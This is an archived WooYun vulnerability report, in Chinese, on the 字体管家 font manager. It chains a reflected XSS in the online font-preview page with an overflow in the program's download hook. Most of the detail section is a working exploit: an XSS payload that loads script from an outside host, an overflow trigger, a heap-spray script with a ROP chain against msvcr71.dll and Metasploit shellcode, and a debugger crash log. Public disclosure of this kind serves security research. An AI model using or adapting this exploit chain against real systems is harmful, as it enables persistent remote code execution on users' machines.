当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-025587

漏洞标题:字体管家软件内XSS构造恶意连接将永久性造成本地任意代码执行

相关厂商:字体管家

漏洞作者: blast

提交时间:2013-06-10 10:52

修复时间:2013-09-08 10:52

公开时间:2013-09-08 10:52

漏洞类型:远程代码执行

危害等级:高

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-06-10: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-08: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

晚上设计一个小网站的时候用字体管家在线预览字体,手贱测试了一下。构造XSS中的脚本构造恶意下载连接即可永久性造成本地任意代码执行(Win7)

详细说明:

字体管家是一个字体预览工具,官方网站http://font.xiaa.net,苦逼的前端设计人员可能会用到这玩意儿,字体管家的字体预览处有XSS漏洞,具体为:
http://font.xiaa.net/exe/look.php?str=aaa&size=20&lang=cn
str处可以构造XSS。网页过滤了"、',但是方法不正确,网页把"换为了\",这导致代码还是能直接闭合标签。而且脚本处仍然有很多方法绕过,这个很简单了。
然后,以下是它的下载脚本,这个脚本由网页调用,然后程序接受事件来处理

function font_down(fontname, url,vid,o)
{
try{
//o.value="安装中.";
//o.disabled=true;
efontname=encodeURIComponent(fontname);
window.external.script_download(efontname, url);
fontname = fontname.replace("'","\\\'"); //为了不让'造成破坏
timerArr["t"+vid]=window.setTimeout( "af_setup('"+fontname+"',"+vid+")" , 3000 );
//alert(efontname+"内部");
}catch(e){
alert('您没有安装字体管家,不能安装字体');
o.disabled=false;
o.value="安装";
}
}


调用类似于:
<input type='button' value=' 安 装 ' onclick="font_down('长城新魏碑体','http://font.xiaa.net/zip/cn/1.zip',1,this);" />
构造:
http://font.xiaa.net/exe/look.php?str="><script src=http://lno.pw/test_4141.js></script>&size=20&lang=cn
进入字体预览-网站在线字库,诱导用户输入查询字符:
"><script src=http://lno.pw/test_4141.js></script>
输入完的同时脚本加载,调用程序的下载模块,由于字符过长发生栈溢出

漏洞证明:

f4.jpg


test_4141.js

var x="A";
var i=1;
for(i=39999;i>0;i--)
x+="AAAAAAAAAAAA";
font_down(x,x,1,this);


test.js

function padnum(n, numdigits)
{
n = n.toString();
var pnum = '';
if (numdigits > n.length)
{
for (z = 0; z < (numdigits - n.length); z++)
pnum += '0';
}
return pnum + n.toString();
}
var rop, calc, chunk_size, headersize, nopsled, nopsled_len, code;
var heap_chunks, i, codewithnum;
//
// !mona rop -m msvcr71.dll
// * changed from default mona rop chain output
//
rop = unescape(
"%u2e4d%u7c36" + // 0x7c362e4d, # POP EBP # RETN
"%u2e4d%u7c36" + // 0x7c362e4d, # skip 4 bytes
"%uf053%u7c34" + // 0x7c34f053, # POP EBX # RETN
"%u00c8%u0000" + // 0x000000c8, # 0x000000c8-> ebx (size 200 bytes) *
"%u4364%u7c34" + // 0x7c344364, # POP EDX # RETN
"%u0040%u0000" + // 0x00000040, # 0x00000040-> edx
"%uf62d%u7c34" + // 0x7c34f62d, # POP ECX # RETN
"%ue945%u7c38" + // 0x7c38e945, # &Writable location
"%u496e%u7c36" + // 0x7c36496e, # POP EDI # RETN
"%u6c0b%u7c34" + // 0x7c346c0b, # RETN (ROP NOP)
"%u2adb%u7c37" + // 0x7c372adb, # POP ESI # RETN
"%u15a2%u7c34" + // 0x7c3415a2, # JMP [EAX]
"%u4edc%u7c34" + // 0x7c344edc, # POP EAX # RETN
"%ua151%u7c37" + // 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF *
"%u8c81%u7c37" + // 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN
"%u5c30%u7c34"); // 0x7c345c30, # ptr to 'push esp # ret '
//
// ruby msfpayload windows/exec cmd=calc.exe J
// windows/exec - 200 bytes
// http://www.metasploit.com
// VERBOSE=false, EXITFUNC=process, CMD=calc.exe
//
calc = unescape(
"%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30" +
"%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031" +
"%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752" +
"%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a" +
"%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34" +
"%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475" +
"%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66" +
"%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424" +
"%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86" +
"%u016a%u858d%u00b9%u0000%u6850%u8b31%u876f%ud5ff" +
"%uf0bb%ua2b5%u6856%u95a6%u9dbd%ud5ff%u063c%u0a7c" +
"%ufb80%u75e0%ubb05%u1347%u6f72%u006a%uff53%u63d5" +
"%u6c61%u2e63%u7865%u0065");
//
chunk_size = 0x40000;
headersize = 0x24;
nopsled = unescape("%u6224%u7c37"); // 0x7c376224 RETN [MSVCR71.dll]
nopsled_len = chunk_size - (headersize + rop.length + calc.length);
while (nopsled.length < nopsled_len)
nopsled += nopsled;
nopsled = nopsled.substring(0, nopsled_len);
code = nopsled + rop + calc;
heap_chunks = new Array();
for (i = 0 ; i < 1000 ; i++)
{
codewithnum = padnum(i,4) + code;
heap_chunks[i] = codewithnum.substring(0, codewithnum.length);
}
font_down(heap_chunks[0],heap_chunks[0],1,this);


0:040> g
(1eb8.1eb4): C++ EH exception - code e06d7363 (first chance)
http://????? (1eb8.1eb4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=05cc0001 ebx=00000000 ecx=41414141 edx=00000437 esi=00458a48 edi=09aee7f1
eip=41414141 esp=0011806c ebp=0ca5bdf0 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210202
41414141 ?? ???
0:000> k
ChildEBP RetAddr
WARNING: Frame IP not in any known module. Following frames may be wrong.
00118068 41414141 0x41414141
0011806c 41414141 0x41414141
00118070 41414141 0x41414141
00118074 41414141 0x41414141
00118078 41414141 0x41414141
0011807c 41414141 0x41414141
00118080 41414141 0x41414141
00118084 41414141 0x41414141
00118088 41414141 0x41414141
0011808c 41414141 0x41414141
00118090 41414141 0x41414141
00118094 41414141 0x41414141
00118098 41414141 0x41414141
0011809c 41414141 0x41414141
001180a0 41414141 0x41414141
001180a4 41414141 0x41414141
001180a8 41414141 0x41414141


修复方案:

修复XSS,检查下载地址的长度

版权声明:转载请注明来源 blast@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论

  1. 2013-06-10 11:27 | blast ( 普通白帽子 | Rank:348 漏洞数:57 | 五仁委员会)

    文章忘了写了……“永久”是因为他那玩意会缓存访问的网址,所以第一次触发以后再打开,程序就会自动访问那个XSS,然后脚本一执行,程序就又溢出了……Win7下是这样的,XP下面出不来,估计跟版本有关系

  2. 2013-09-08 11:09 | Mapconf ( 实习白帽子 | Rank:31 漏洞数:5 | 专注g0v30年)

    嘿,这个不错,@xsser 乌云能给点分么?